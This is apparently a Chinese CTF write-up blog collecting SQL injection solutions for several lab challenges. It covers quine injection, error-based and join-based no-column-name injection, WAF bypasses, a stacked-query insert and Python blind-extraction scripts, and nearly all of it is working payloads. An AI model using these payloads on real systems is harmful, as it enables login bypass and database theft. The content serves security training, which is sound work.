union/**/SELECT/**/REPLACE(REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39)),CHAR(46),'"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#')/**/AS/**/ch3ns1r#

这样看起来不是很清楚,我们接下来从内层一步一步拆开看。
从大结构上,这段payload是由两个大REPLACE完成的

1
2
REPLACE ( string_expression , string_pattern , string_replacement )
即将string_expression中所有string_pattern替换为string_replacement

内层payload:

1
REPLACE('"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#',CHAR(34),CHAR(39))

我们暂且把它当作A,这里面有一个字符串
“//union//SELECT//REPLACE(REPLACE(“.”,CHAR(34),CHAR(39)),CHAR(46),”.”)//AS/**/ch3ns1r#
我们暂且把它当作B。
简化一下最初的payload就是这个样子:

1
2
3
4
5
union/**/SELECT/**/REPLACE(A,CHAR(46),B)/**/AS/**/ch3ns1r#
其中:
A:REPLACE(B,CHAR(34),CHAR(39))
B:
"/**/union/**/SELECT/**/REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")/**/AS/**/ch3ns1r#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
到这里应该就看的比较清楚了,有点像套娃。A这个形式就是Quine的基本形式,可以描述为如下形式:

REPLACE(str,编码的间隔符,str)

str可描述为如下形式:

REPLACE(间隔符,编码的间隔符,间隔符)

这样运算后,最后的结果又是:

REPLACE(str,编码的间隔符,str)

我们举个例子加深理解,设间隔符为'.',编码的间隔符为CHAR(46),那么str为:

REPLACE(".",CHAR(46),".")

放入最后的语句为:

REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")')

执行的结果为(先执行的CHAR(46)):

REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")')

(注意以上的语句还没有考虑存在单双引号的情况)

这样就达到了输入与输出一致的效果。

从单双引号来理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
 从解决单双引号理解Quine

细心点的话就会发现,这里还存在单双引号的问题,我们重新考虑存在单双引号的情况。

Quine的基本形式:

REPLACE('str',编码的间隔符,'str')

str描述为如下形式:

REPLACE("间隔符",编码的间隔符,"间隔符")

这里str中的间隔符使用双引号的原因是,str已经被单引号包裹,为避免引入新的转义符号,间隔符需要使用双引号。

运算后的结果是:

REPLACE("str",编码的间隔符,"str")

但是我们希望str仍然使用单引号包裹,怎么办?

我们这样考虑,如果先使用REPLACE将str的双引号换成单引号,这样最后就不会出现引号不一致的情况了。

Quine的升级版基本形式:

REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

str的升级版形式:

REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")

这里的CHAR(34)是双引号,CHAR(39)是单引号,如果CHAR被禁了0x22和0x27是一样的效果。

这里我们慢一点。

第一步:

REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")
变成了
REPLACE(REPLACE('间隔符',CHAR(34),CHAR(39)),编码的间隔符,'间隔符')

第二步:

REPLACE('单引号str',编码的间隔符,'str')
变成了
REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

我们同样举刚才的例子,设间隔符为'.',编码的间隔符为CHAR(46),那么str为:

REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")

放入最后的语句为:

REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

执行的结果为(先执行的内层REPLACE):

REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")')

实际结果:

MySQL localhost:3306 ssl SQL > SELECT REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| REPLACE(REPLACE('REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")',CHAR(34),CHAR(39)),CHAR(46),'REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.0004 sec)

现在就完全一致了。

但是事实上这张表其实是个空表,只有构造输入输出完全一致的语句,才能绕过限制得到FLAG,主要利用replace(str,old_string,new_string)进行构造,构造思路如下:

1
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

输入和输出的结果为:

1
replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
1
replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") ;

这样其实还没有达到输入和输出一致的问题,因为还有单引号和双引号不一致,所以要解决单双引号的问题,再套一层replace,将双引号替换成单引号即可
接下来解决单双引号的问题
输入

1
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

输出

1
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')

这两个是一样的,我们后面的这个payload应该就是要参照这个来作答
题中还过滤了char,用chr或者直接0x代替即可

1
username=admin&password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")#',CHAR(34),CHAR(39)),CHAR(49),'"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")#')#

下面这个作为一个参考,实际注入时给我弹了waf

1
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

这里我们就主要是说,我怎么来手动注入,万一这个payload有一些其他的改动,我们应该怎么才能写出能那道flag的payload
好像所有的底层paylaod的逻辑都是一样的,我后面好好研究一下这道题的paylaod和其他题目的payload有什么区别

[GXYCTF 2019]BabySqli

1分
SQL注入POST注入关键字绕过
一进去时一个登陆界面,我先试了下账号admin,密码:1
回显错误
我们查看网页源代码,发现有个search.php文件
进去是这个,绿色字体显示,一般都是重点

1
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

放入我们的一键解码工具,发现有用的信息应该是这个
先base32解码,在base64解码

1
select * from user where username = '$name'

我们可以先fuzz看一下过滤了哪些字符
我们发现order被禁了,可以使用Order来进行绕过
也可以直接用union来一个一个试

1
admin' union select 1,2#

这个报错,且不是显示wrong pass

1
admin' union select 1,2,3#

报错的是和密码错误一样的显示
说明字段数为3
然后我们开始猜测admin是第几个字段,发现是第二个

1
1' union select 1,'admin',3#

后面也是第一次见到过这种做法
意思就是插入一条临时的数据admin,密码为md5加密后的1,然后密码为1,就会自动登陆上了

1
name=1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

这个后面接的要看源码,或者抓包来看

1
2
3
4
5
6
7
8
9
10
11
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<center>
<form action="search.php" method="post" style="margin-top: 300">
<input type="text" name="name" placeholder="UserName" required>
<br>
<input type="password" style="margin-top: 20" name="pw" placeholder="password" required>
<br>
<button style="margin-top:20;" type="submit">登录</button>
</form>
</center>

意思就是根据源码知道账户名在第二位,密码在第三位,说明第一位可能就是序号或者啥的,利用union select联合注入添加临时虚拟账户,第一位序号随你命多少无所谓,账户名为admin(源码里面必须是admin),密码为25d55ad283aa400af464c76d713c07ad(这是12345678经过md5加密得来的,放到数据库中临时用户),因为源码里面写了要将输入的密码经过md5加密后再去跟第三位进行比较

[NISACTF 2022]join-us

1分
报错注入无列名注入SQL注入
题目描述

欢迎加入天伦家园的大家庭
这里又会有一种没有见过的注入方式或手法
一进去是有一个可以登陆或者注册的页面
我们登陆一下然后抓包就会有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /dl.php HTTP/1.1
Host: node5.anna.nssctf.cn:21947
Content-Length: 4
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node5.anna.nssctf.cn:21947
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.anna.nssctf.cn:21947/dl.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

tt=1

输入’报错,有sql注入
发现过滤了and和database还有columns
过滤了and我们这里选择使用管道符
过滤and的方式
1.大小写绕过
2.双写绕过
3.管道符执行
4.url编码
sql查询一个不存在的表会报错

1
tt=1'||(select * from aa)# =>报错得到库名字sqlsql

爆表:

1
1'||extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema like 'sqlsql')))#

XPATH syntax error: ‘~Fal_flag,output’
列名的注入coulmns被过滤了

使用join注入

对于过滤了逗号的,也可以使用
就是对于一种情况,一个表里面有我们的username,和passwd等信息
还有一个表有邮箱信息
我怎么才能查询users表用户的email都是多少,这时要查询的就是两张表
语句

1
select u.*,e.* from users u,emails e where u.id=e.id;

同样的功能join来实现

1
select u.*,e.* from users u join emails e on u.id=e.id

使用join:
union select 1,2,3等价于
union select * from (select 1)a join (select 2)b join (select 3)c
后面的注入的手法是一样的
最后payload

1
tt=-1'||extractvalue(1,concat(0x7e,(select *from (select *from output a join output b)c)))#

回显:Duplicate column name ‘data’

1
tt=1'||(extractvalue('div', concat('~',(select * from(select * from Fal_flag a join Fal_flag b )c),'hi')))#

回显的列是id,后面还有一个

1
tt=1'||(extractvalue('div', concat('~',(select * from(select * from Fal_flag a join Fal_flag b using(id))c),'hi')))#

回显data

1
tt=1'||extractvalue(1,concat(0x7e,(select * from (select * from Fal_flag a join Fal_flag b using(id,data)) c)))#

这个就回显了一个假的flag

1
tt=1'||extractvalue(1,concat(0x7e,(select * from (select * from output a join output b using(data)) c)))#

这个就回显了我们要的,但是长度只是一部分

1
tt=1'||extractvalue(1,concat(0x7e,mid((select data from output),1,30)))#

两次成功拿到flag

[NCTF 2018]滴!晨跑打卡

1分
空格绕过SQL注入报错注入
题目描述

快来看看你每次跑操打卡的信息鸭!
这个是常规注入,我们这里稍微注意一下一些东西就可以了
这里的空格用%a0来进行绕过
最后的闭合符用一个’
前面的分号也可以换为%27

1
1%27%a0union%a0select%a01,2,3,4%a0and%a0%271%27=%271
1
查询语句最后就是select * from websites where id='1''';

这里建议打开phpstudy开启阿帕奇和mysql
然后我进入phpmyadmin
再进入employees数据库里,里面有一章表user
输入语句

1
select * from user where id='1''';

能够得到正常回显
最后就是常规注入拿到flag

1
2
3
4
5
6
7
8
9
10
11
?id=1'%a0union%a0select%a01,2,3,4'
回显123

id=1'%a0union%a0select%a01,2,(select%a0group_concat(table_name)from%a0information_schema.tables%a0where%a0table_schema=database()),4'
得到表名是pcnumber

?id=1'%a0union%a0select%a01,2,(select%a0group_concat(column_name)from%a0information_schema.columns%a0where%a0table_schema=database()%a0and%a0table_name='pcnumber'),4'
得到字段id,bigtime,smalltime,flag

?id=1'%a0union%a0select%a01,2,(select%a0group_concat(flag)from%a0pcnumber),4'
获取flag

[MoeCTF 2022]Sqlmap_boy

1分
SQL注入关键字绕过空格绕过
题目描述

https://github.com/XDSEC/MoeCTF_2022

进去是一个登陆界面,且不给注册
查看网页源代码

1
<!-- $sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";'; -->

就是比较常规的注入,我们在这里注意,一开始登进去用万能密码

1
admin'" or 1=1#

然后进入http://node5.anna.nssctf.cn:29134/secrets.php?id=1
这里及开始对id处进行注入
paoyload

1
/secrets.php?id=-1'%20union%20select%201,database(),group_concat(flAg) from moectf.flag--+

这里再强调一个地方
就是用moectf.flag是标准的sql语法,后面要简洁也可以这样用

[NSSCTF 2022 Spring Recruit]babysql

1分
SQL注入空格绕过关键字绕过
这里来一个完整的过程的注入
之前的基本都快速看了下思路就草草了之了
一开始进入,只有一个登录框,有一个登陆界面
输入admin
抓包:username=admin
回显:竟然是死胡同(沮丧)
我们先来一个’,再来一个1好像都是回显,竟然是死胡同(沮丧)
我们来万能密码

1
admin' or 1=1#

这里就有我们需要的信息了,过滤了if,and,#还有s。不分区大小写

1
hacker!!black_list is /if|and|\s|#|--/i

这里我的理解稍微有一些问题

1
--也给过滤了

这里又是我没有见过的

1
username=1'or'1'='1

回显:string(39) “前有flag,所以,是绕过的时候了”
这里基本就可以来拿flag了

1
2
3
4
5
-a'/**/union/**/select/**/(select/**/database())'
-a'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')'
-a'/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')'
-a'/**/union/**/select/**/(select/**/group_concat(flag)/**/from/**/test.flag)'

这里的payload都是两个select,是有讲究的
就像我之前做题遇到的,列数不匹配的情况下,是会报错的
那这里我用limit会怎么样
哦,被waf了

[NISACTF 2022]hardsql

1分
quine注入SQL注入空格绕过
题目描述

1
2
$password=$_POST['passwd'];
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";

这个也是一个quine注入的题目,我们来尝试解决

1
登进去显示成功登陆即可显示flag,有两个登录框

我先尝试随便登录一下,显示only bilala can login
这里就给你账号了
抓包是这样显示的

1
username=bilala&passwd=1&login=%E7%99%BB%E5%BD%95

构造payload

1
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#',char(34),char(39)),char(66),'"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#')#

发现这个不可以

1
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#

这个payload和我的第一个的payload是一样的
最后拿到flag
还有一个就是我们可以使用脚本来得到账号密码,但是是给了你源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import time
alp = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://1.14.71.254:28843/login.php"
flag = ""
Cookie = {'frontLang':'zh - cn',
'frontDevice':'desktop',
'theme' : 'default',
'adminLang' : 'zh - cn',
'adminDevice' : 'desktop',
'currentGroup': 'design'
}
while(True):
for i in alp:
data = {
'username': 'bilala',
'passwd':f"1'or/**/passwd/**/like/**/'{flag+i}%'#"
}
res = requests.post(url=url,data=data)
time.sleep(0.1)
if "nothing found" not in res.text:
flag+=i
print(flag)
break
elif "~" in i:
return
if __name__=='__main__':
get_pass()

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
//多加了亿点点过滤

include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}

?>

主要就是要强相等这个方面

[HDCTF 2023]LoginMaster

1分
quine注入unique注入SQL注入
题目描述

Who knows logining better than you!
这个好像也是quine注入的,再来一道巩固一下,主要是为了减少知道是这种情况,但是可能有一些不一样的waf,这种题就做不出来了。还是说这种题目就一种解法
一来是一个登陆页面,要输入账户名和密码
访问robots.txt

1
2
3
4
5
6
7
8
9
10
function checkSql($s) 
{
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');

要我们输入的password===等于$password,这个就是quine注入的一个标志
我们先抓包来随便登陆一下
显示

1
alert('something wrong');location.href='index.php';

本题的payload

1
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

对于这些注入的格式呀,我的理解还是有很大的不足的,我得多尝试手搓一下

[WUSTCTF 2020]颜值成绩查询

1分
布尔盲注SQL注入空格绕过
这个是bool盲注的,稍微修改一下payload就可以用于解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import time

url = 'http://cd82b63c-6c9a-46d7-8288-09fea5ba97f3.node5.buuoj.cn:81/?stunum='
i = 0
flag = ''
while True:
i += 1
# 从可打印字符开始
begin = 32
end = 126
tmp = (begin + end) // 2
while begin < end:
print(begin, tmp, end)
time.sleep(0.1)
# 爆数据库
# payload = "1/**/and/**/(ascii(substr(database(),%d,1))>%d)" % (i, tmp)
# 爆表
# payload = "1/**/and/**/(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),%d,1))>%d)" % (i, tmp)
# 爆字段
# payload = "''or(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='flag')),%d,1))>%d)" % (i, tmp)
# 爆flag
# payload = "1/**/and/**/(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)" % (i, tmp)


r = requests.get(url + payload)
if 'admin' in r.text:
begin = tmp + 1
tmp = (begin + end) // 2
else:
end = tmp
tmp = (begin + end) // 2

flag += chr(tmp)
print(flag)
if begin == 32:
break

成功拿到flag

[October 2019]Twice SQL Injection

1分
二次注入SQL注入URL污染
这个也是第一次遇到相关的注入类型的题目,二次注入

1
2
3
4
5
1' union select database()# //爆库
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'# //爆表
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'# //爆字段
1' union select flag from flag# //爆数据

先登陆,再注册,最后拿到flag

[HNCTF 2022 WEEK2]easy_sql

36分
SQL注入无列名注入空格绕过
又是一个无列名的注入
之前也遇见过

1
https://blog.csdn.net/Jayjay___/article/details/132956781?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522a9434f3f1a2484704690c128072f60ab%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=a9434f3f1a2484704690c128072f60ab&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-132956781-null-null.142^v102^pc_search_result_base4&utm_term=%5BHNCTF%202022%20WEEK2%5Deasy_sql&spm=1018.2226.3001.4187

参考一下这篇文章的解法和脚本

[HNCTF 2022 WEEK4]fun_sql

82分
堆叠注入SQL注入Insert注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 <?
include "mysql.php";
include "flag.php";

if ( $_GET['uname'] != '' && isset($_GET['uname'])) {

$uname=$_GET['uname'];

if(preg_match("/regexp|left|extractvalue|floor|reverse|update|between|flag|=|>|<|and|\||right|substr|replace|char|&|\\\$|0x|sleep|\#/i",$uname)){
die('hacker');

}

$sql="SELECT * FROM ccctttfff WHERE uname='$uname';";
echo "$sql<br>";


mysqli_multi_query($db, $sql);
$result = mysqli_store_result($db);
$row = mysqli_fetch_row($result);

echo "<br>";

echo "<br>";
if (!$row) {
die("something wrong");
}
else
{
print_r($row);
echo $row['uname']."<br>";

}
if ($row[1] === $uname)
{
die($flag);
}
}
highlight_file(__FILE__);

我们目的就是返回flag,要求输入的uname 和 sql语句查询的uname 相等 那么我们思路就是插入一个uname 然后再查询
首先 看看本表多少列,4报错 3 正常所以3列

1
?uname=1'order by 4--+

我们擦混入数据,正常来讲有uname的一般表中列的顺序一般就是id-uname-passwd
我们知道一共有三行

1
?uname=-1' union select 1,2,3;#

回显:Array ( [0] => 1 [1] => 2 [2] => 3 )
可以发现有三列,我们已经知道得到flag的条件为$row[1] === $uname
也就是说只要我们查得到数据,即可得到flag

因此我们插入一个我们查得到的数据(表名给了为ccctttfff)
payload

1
?uname=-1' union select 1,2,3;insert into ccctttfff value(1,1,1);#

插入之后我们再访问uname=1,得到flag


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录